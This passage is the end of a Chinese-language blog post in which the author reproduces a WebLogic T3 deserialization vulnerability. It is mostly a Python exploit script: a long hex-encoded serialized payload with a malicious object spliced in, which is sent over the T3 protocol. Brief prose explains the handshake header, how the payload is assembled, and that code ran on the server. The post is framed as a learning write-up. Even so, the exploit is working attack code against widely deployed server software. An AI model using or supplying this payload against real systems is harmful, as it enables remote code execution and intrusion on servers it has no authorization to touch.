\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x03\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x03\x78\x70\x77\x02\x00\x00\x78\xfe\x01\x00\x00' payload = payload + serialize_exp payload = payload + \ b'\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x21\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x65\x65\x72\x49\x6e\x66\x6f\x58\x54\x74\xf3\x9b\xc9\x08\xf1\x02\x00\x07\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x74\x00\x27\x5b\x4c\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x6d\x6d\x6f\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\x3b\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x56\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x97\x22\x45\x51\x64\x52\x46\x3e\x02\x00\x03\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x71\x00\x7e\x00\x03\x4c\x00\x0e\x72\x65\x6c\x65\x61\x73\x65\x56\x65\x72\x73\x69\x6f\x6e\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x12\x76\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x41\x73\x42\x79\x74\x65\x73\x74\x00\x02\x5b\x42\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x71\x00\x7e\x00\x05\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x05\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x05\x78\x70\x77\x02\x00\x00\x78\xfe\x00\xff\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x46\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\x00\x0b\x75\x73\x2d\x6c\x2d\x62\x72\x65\x65\x6e\x73\xa5\x3c\xaf\xf1\x00\x00\x00\x07\x00\x00\x1b\x59\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x78\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x1d\x01\x81\x40\x12\x81\x34\xbf\x42\x76\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\xa5\x3c\xaf\xf1\x00\x00\x00\x00\x00\x78' payloadLength = len(payload)+4 temp = struct.pack('>I', payloadLength) payload = temp + payload sock.send(payload) res2 = sock.recv(1024) print(res2)
python脚本的思路其实很简单,就是先发送t3协议的请求headerb't3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'
,sock.recv接收一下服务器版本信息,然后发送payload过去。payload的构造来说,开头4个字节是总的payload的长度,再往后是通过t3协议的正常流量抓包dump下来的序列化数据,我们把其中一段数据换成了恶意序列化数据,拼接在一起。
虽然服务器端报错了,但是确实成功执行了。后续有时间再看一下为什么报错。End!
作为没接触过java漏洞的新手,在复现这个漏洞时确实花了好长时间,一方面是在搭建环境的过程中坑太多,另一方面是个人对于java相关的知识了解的不够深入,在复现过程中参考了大量文章,都已放在参考链接中,希望这篇文章能够帮到之后复现漏洞分析的人。